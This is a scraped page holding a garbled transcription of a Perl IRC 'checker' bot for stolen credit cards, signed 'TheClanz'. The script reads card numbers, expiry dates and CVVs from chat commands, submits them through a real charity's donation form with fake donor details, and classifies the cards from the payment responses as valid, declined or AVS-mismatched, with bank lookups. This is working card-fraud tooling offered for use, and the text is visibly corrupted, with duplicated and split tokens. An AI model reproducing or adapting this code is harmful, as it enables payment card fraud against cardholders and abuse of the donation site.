E3D CHAPTER 8 Data Consistency Checker and IsodraftFull description
User Manual Nano Checker Cardiac Biomarker AnalyzerFull description
Checker 3.0 Esquema Comprobador de Red Fase y Neutro
#! "C:\Perl64\lib\perl.exe "C:\Perl64\lib\perl.exe" " #SQL SCAN Bot Check By Lunaa!
#########Call to standalone modules directory########### BEGIN{push(@INC,'Modules');}
################Modules ################Module s Inclusion############# Inclusion####################### ########## use HTTP::Request; use LWP::Socket; use LWP::UserAgent; use LWP::Protocol::https; use HTTP::Cookies; use MIME::Base64; use Parallel::ForkManager; use MIME::Base64 (); use WWW::Mechanize; use WWW::Mechanize::FormFi WWW::Mechanize::FormFiller; ller; use Net::FTP; use WWW::Scripter; use WWW::Selenium; $| = 1;
} #############################@@@@======BASIC CHKBOT MACHINE=====@@@@####### #############################@@@@======BASIC MACHINE=====@@@@############ ##### ############ #############################CONTACT ME : [email protected]###### #############################CONTACT [email protected]#################### ############## ############ ####################################################################### ############################################## ################################## ######### ############ if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0/^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s( 9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b \b[0-9]{3,4}\b )/) { my ($numerocarta,$expmes,$verifica) = ($1,$2,$3); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); my $varType = 0; print "\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://jajf.org/donate/donate-form.cfm'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1);
{ local $^W; $agent->current_form->v $agent->current_form->value('firstname', alue('firstname', 'mark'); }; { local $^W; $agent->current_form->v $agent->current_form->value('lastname', alue('lastname', 'smith'); }; { local $^W; $agent->current_form->value('emailaddress', $agent->current_form->value('emailaddress', 'movistarsrl@hotm ail.com'); }; { local $^W; $agent->current_form->value('confirmemail', $agent->current_form->value('confirmemail', 'movistarsrl@hotm ail.com'); }; { local $^W; $agent->current_form->v $agent->current_form->value('addressline1', alue('addressline1', 'las heras 32'); }; { local $^W; $agent->current_form->v $agent->current_form->value('addressline2', alue('addressline2', 'las heras 32'); }; { local $^W; $agent->current_form->v $agent->current_form->value('city', alue('city', 'NY'); }; { local $^W; $agent->current_form->value('stateabbreviation', $agent->current_form->value('stateabbreviation', 'AL'); }; { local $^W; $agent->current_form->v $agent->current_form->value('zipCode', alue('zipCode', '05544'); }; { local $^W; $agent->current_form->value('contactPhone', $agent->current_form->value('contactPhone', '1569841055'); }; { local $^W; $agent->current_form->value('message', $agent->current_form->value('message', 'charity'); }; { local $^W; $agent->current_form->value('donationAmount', $agent->current_form->value('donationAmount', '1'); }; { local $^W; $agent->current_form->v $agent->current_form->value('cardName', alue('cardName', 'mark smith'); }; { local $^W; $agent->current_form->value('cardType', $agent->current_form->value('cardType', 'visa~Visa'); }; { local $^W; $agent->current_form->value('cardNumber', $agent->current_form->value('cardNumber', ''.$numerocarta.'') ; }; { local $^W; $agent->current_form->value('cardExpiration', $agent->current_form->value('cardExpiration', ''.$var1.$var2. ''); }; { local $^W; $agent->current_form->value('cardAuthCode', $agent->current_form->value('cardAuthCode', ''.$verifica.''); }; $agent->submit(); print $agent->content,"\n"; my $allo=$agent->content; open(FILE,">>chk13.html") open(FILE,">>chk13.html ") or die "$!"; print FILE "$allo\n"; close FILE; my $allo=$agent->content; #~ if ($allo =~/THANK YOU/){ if ($allo =~/The transaction has been declined because of an AVS mismatch. T he address provided does not match billing address of cardholder./){ my $database = "banklist.txt "; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"« 2» $numerocart a $expmes $expanio $verifica 0,9VALID! 0,9VALID! CVV2: M 4( 4( Aceptado Aceptado 4)"); 4)"); my $nuova = substr($numerocarta,0, substr($numerocarta,0,6); 6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg,"« 2» [ 6Banco 6Banco ] 2$nuova 2$nuova 7$1"); 7$1"); print "card $variable!"; } } }elsif ($allo =~/This transaction has been declined./){ #~ }elsif ($allo =~/This transaction has been declined./){ my $database = "banklist.txt "; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=; close FILE;
my $bankinfo = $1; &respond_to_privmsg(\%msg,"« 2» $numerocarta $expmes $expanio $verifica 4DECLINED 4DECLINED CVV2: M 4( 4( Rechazado Rechazado 4)"); 4)"); my $nuova = substr($numerocarta,0, substr($numerocarta,0,6); 6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; &respond_to_privmsg(\%msg,"« 2» [ 6Banco 6Banco ] 2$nuova 2$nuova 7$1"); 7$1"); print "card $variable!"; } } }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"« 4» [Result] $numerocarta $expmes $expanio $verifica 4INVAL 4INVAL ID! CVV2: M 4( 4( INVALID INVALID 4)"); 4)"); }elsif ($allo =~/The card code is invalid./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT] 14$numerocarta 14$numerocarta $expmes$expanio $verifica 14) 14) 9 CARD , 4 ERROR CVV...! 9By 9By TheClanz!"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT] 14$numerocarta 14$numerocarta 4 $expmes$expanio 14$verifica) 14$verifica) 15 15 The credit card has expired. 9By 9By TheClanz!"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT] 14$expmes$expanio 14$expmes$expanio 14) 14) 15 15 Not is Valid. 9By 9By TheCla nz!"); }elsif ($allo =~//){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT] 14$numerocarta 14$numerocarta 14) 14) 15 15 A duplicate transaction ha s been submitted. 9By 9By TheClanz!"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT] 14$numerocarta 14$numerocarta $expmes$expanio $verifica 14) 14) 4F 4F UCK YOU NO RECHECK ..."); }elsif ($allo =~/The credit card number entered is not valid./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT] 14$numerocarta 14$numerocarta 14) 14) 15 15 Credit Card is 4INVALID 4INVALID 9By 9By TheClanz!"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"« 4» [RESULT] $numerocarta $expmes $expanio $verifica 4DECLI 4DECLI NED!"); }elsif ($allo =~/Thanks to your important gift/){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT] 14$numerocarta 14$numerocarta $expmes$expanio $verifica 14) 14) 9V 9V ALID SUUU! NO AVS MISMATCH!"); } }